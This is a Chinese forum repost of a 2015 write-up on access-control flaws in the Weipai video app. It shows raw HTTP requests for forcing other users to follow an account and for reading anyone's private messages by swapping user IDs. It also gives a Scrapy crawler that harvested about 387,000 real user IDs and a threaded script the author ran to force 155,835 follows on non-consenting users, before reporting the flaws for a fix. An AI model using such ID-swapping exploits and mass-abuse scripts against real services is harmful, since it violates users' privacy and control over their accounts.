首页
社区
课程
招聘
微拍APP漏洞 - 屌丝的从无到有
发表于: 2015-3-3 17:21 6159

微拍APP漏洞 - 屌丝的从无到有

2015-3-3 17:21
6159
转载自Evilsay的微信公众号:
59cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3#2H3i4K6u0W2N6$3g2A6P5r3W2F1i4K6u0W2M7i4q4Q4x3X3g2U0L8$3#2Q4x3V1k6K6i4K6y4r3i4K6g2X3i4K6g2X3j5X3W2*7i4K6y4p5e0i4A6m8x3@1&6p5e0i4N6a6c8p5q4&6e0X3N6Q4x3@1c8Q4x3@1c8Q4x3U0k6E0K9h3c8Q4x3@1b7J5x3o6x3#2x3K6x3H3x3e0W2Q4x3U0k6A6k6s2S2Q4x3@1b7I4i4K6t1$3M7$3&6Q4x3@1c8W2y4$3p5#2j5e0p5&6k6X3b7@1y4$3x3K6j5h3j5&6x3U0m8T1y4K6R3#2x3e0N6U0x3K6t1^5j5e0R3&6x3g2)9J5y4U0y4J5k6q4)9K6c8p5#2*7b7e0y4y4c8q4f1@1e0W2c8k6P5V1#2%4i4K6y4p5i4K6y4p5i4K6t1$3M7$3y4W2L8X3g2Q4x3@1b7$3i4K6t1K6M7X3b7`.

微拍中有着大量“白富美”每日发表自拍视频,用户量一度上升到几百万,作为新用户如何才能得到宠幸?

漏洞细节

在手机上安装好APP后马上就能看到各种类型的视频,当然这并不是重点。之后打开手机网络代理,电脑监听APP流量,在尝试了一些常见的漏洞后并没有太大的进展,于是转身跑到逻辑漏洞的身边。

其中 关注用户 点击后,会POST一个这样的请求:
POST /follow_user HTTP/1.1
Content-Length: 82
Content-Type: application/x-www-form-urlencoded
Host: w1.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2
Device-Uuid: 9609b1be908****e9beb5442166c7bdfd1ad2e22
Weipai-Token: 54ba****7373c
Weipai-UserId: 54ba1650a5640b57078b****
Phone-Number:
Push-Id: com.weipai.weipaipro
Kernel-Version: 15
Com-Id: weipai

to_user_id=54ba1650a5640b57078b****&from_user_id=53c299e79d67d962598b****&type=add


其中 to_user_id 为我的帐号user_id,from_user_id 为关注用户的user_id,这里将两者进行交换即可完成对方关注指定用户的功能,也就是第一个逻辑漏洞。

除此之外,在这个APP中有着非常核心的功能:搭讪,哦不 是对话功能。

APP会每隔几分钟向服务器发送请求来及时更新对话消息:

GET /pm/new?count=20&weipai_userid=54ba1650a5640b57078b**** HTTP/1.1
Host: pm.weipai.cn
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (weipaipro)
Accept-Encoding: gzip
Phone-Type: android_2013022_4.2.1
os: android
Channel: (‚
App-Name: weipai
Api-Version: 8
Client-Version: 0.99.9.2


我们将这个GET请求中的weipai_userid替换为某个用户id,即可查看对方的搭讪记录。哦不!是对话记录。


2. 爬虫配合

无论是第一个“刷粉漏洞”还是后面的“任意消息查看漏洞”,都有一个前提,那就是获取目标用户的 weipai_userid ,不然【刷】和【任意】都是空谈,JUST DO IT :)

我们找到了这个API,他是一个GET请求并提供用户的粉丝列表:

903K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4M7I4i4K6u0W2N6$3g2A6M7r3q4A6i4K6u0W2j5$3&6Q4x3V1k6#2M7$3g2J5i4K6g2X3k6X3q4F1M7#2)9#2k6X3I4A6M7%4c8Q4x3@1k6U0L8%4g2F1N6q4)9K6c8o6t1H3i4K6t1$3M7X3g2D9j5i4c8A6N6X3g2Q4x3@1c8S2k6Y4c8W2M7W2)9J5y4Y4g2A6k6q4)9K6c8o6f1H3k6U0S2X3k6U0f1&6y4$3j5K6y4o6V1@1j5e0M7H3x3U0l9H3i4K6u0m8i4K6u0m8i4K6u0m8i4K6u0m8
    


爬虫我们使用Scrapy来编写,将随机一个 user_id 作为种子源依次往下爬取数据:
#!/usr/bin/env python
# coding=utf-8
# author=f

import scrapy
import json

from weipai.items import WeipaiItem

class weipai_spider(scrapy.Spider):
    allowd_domains = ["e3dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4M7I4i4K6u0W2N6$3g2A6M7r3q4A6i4K6u0W2j5$3&6Q4x3V1j5`."]
    start_urls = ["01bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4M7I4i4K6u0W2N6$3g2A6M7r3q4A6i4K6u0W2j5$3&6Q4x3V1k6#2M7$3g2J5i4K6g2X3k6X3q4F1M7#2)9#2k6X3I4A6M7%4c8Q4x3@1k6U0L8%4g2F1N6q4)9K6c8o6p5H3x3o6m8Q4x3U0k6J5k6h3I4S2N6r3W2$3k6g2)9K6c8r3q4X3N6r3g2J5i4K6t1$3N6h3W2V1i4K6y4p5y4e0m8X3z5r3k6X3y4e0V1%4k6U0x3@1z5e0c8S2y4K6l9J5x3o6l9H3x3o6j5$3"]

    uid_list = []
    def parse(self, response):
        item = WeipaiItem()
        all_data = json.loads(response.body)
        for id in all_data['user_list']:
            try:
                if id['user_id'] not in self.uid_list:
                    self.uid_list.append(id['user_id'])
                    item['user_id'] = id['user_id']
                    item['url'] = "f62K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4M7I4i4K6u0W2N6$3g2A6M7r3q4A6i4K6u0W2j5$3&6Q4x3V1k6#2M7$3g2J5i4K6g2X3k6X3q4F1M7#2)9#2k6X3I4A6M7%4c8Q4x3@1k6U0L8%4g2F1N6q4)9K6c8o6p5H3x3o6m8Q4x3U0k6J5k6h3I4S2N6r3W2$3k6g2)9K6c8r3q4X3N6r3g2J5i4K6t1$3N6h3W2V1i4K6y4p5i4K6t1#2M7H3`.`."%id['user_id']
                    yield item
                    yield self.make_requests_from_url(item['url'])
            except Exception,e:
                pass

                    
吃完晚饭回来,已经爬取了400,000个 user_id :

    $ weipai  wc weipai_spider_user_id.json
    387451  387451 8186275 weipai_spider_user_id.json

40w的傀儡用户已经够了(白富美与屌丝共存的user_id_list),准备屌丝逆袭。

3. 漏洞利用

拥有漏洞与傀儡以后,我们开始走逆袭的第一步,先将粉丝数量刷到顶峰,这里我们需要一个脚本:

#!/usr/bin/env python
# coding=utf8
# author=evi1m0@2015

import requests
import threadpool as tp

f_user = open('./weipai.txt', 'r')
post_url = '317K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4M7I4i4K6u0W2N6$3g2A6M7r3q4A6i4K6u0W2j5$3&6Q4x3V1k6X3L8$3I4D9L8%4N6Q4y4h3k6#2M7$3g2J5i4K6t1%4

def start(test):
    flag = 0
    for user in f_user.readlines():
        post_data = {
                     'to_user_id':'54ba1650a5640b57078b****',
                     'from_user_id': user[:-1],
                     'type': 'add',}
        try:
            req = requests.post(post_url, data=post_data, timeout=5)
            flag += 1
            print '[+] %d : %s' % (flag, req.text)
        except:
            continue

args = [
    ['00eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2^5P5q4)9J5k6h3y4G2L8g2)9J5y4#2)9J5b7#2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0N6@1k6i4y4@1i4K6t1%4i4K6g2p5i4K6u0o6
]
pool = tp.ThreadPool(200)
reqs = tp.makeRequests(start, args)
[pool.putRequest(req) for req in reqs]
pool.wait()






非常轻松的,这个刷粉脚本就完成并RUN了起来,但经过观察后发现速度并不理想,于是我把这个脚本放置到了香港及国外的几台服务器上,然后将user_id列表进行几份切割,便睡了过去。

很快的一觉醒来,梦里并没有美女野兽,登录服务器把脚本纷纷停止,把在一旁不停震动的安卓手机拿起,这时才发现已经收到上百条搭讪,当然粉丝数量也已经到了155,835。

4. 逆袭

在顶着“大V”的压力下,我打开搭讪框。哦不!是对话窗口。这时你就会发现,无论是女神屌丝亦或是锥子脸饼子脸,他/她们都在寻找你,小到卖鞋,大到yue否。

既然初衷仅仅是为了JUST DO IT,马上我们将漏洞细节发给了微拍公司,并得到了第一时间修复。

管他女神锥子脸,卖鞋还卖包。伪黑客按下回车合上电脑,删除了这个帐号的一切数据,一切都没发生过。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 37
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
多谢分享
2015-3-5 14:51
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
多谢楼主分享
2015-3-13 17:40
0
雪    币: 40
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这篇文章很有教育意义!谢谢LZ大大的分享!
2015-3-14 11:34
0
游客
登录 | 注册 方可回帖
返回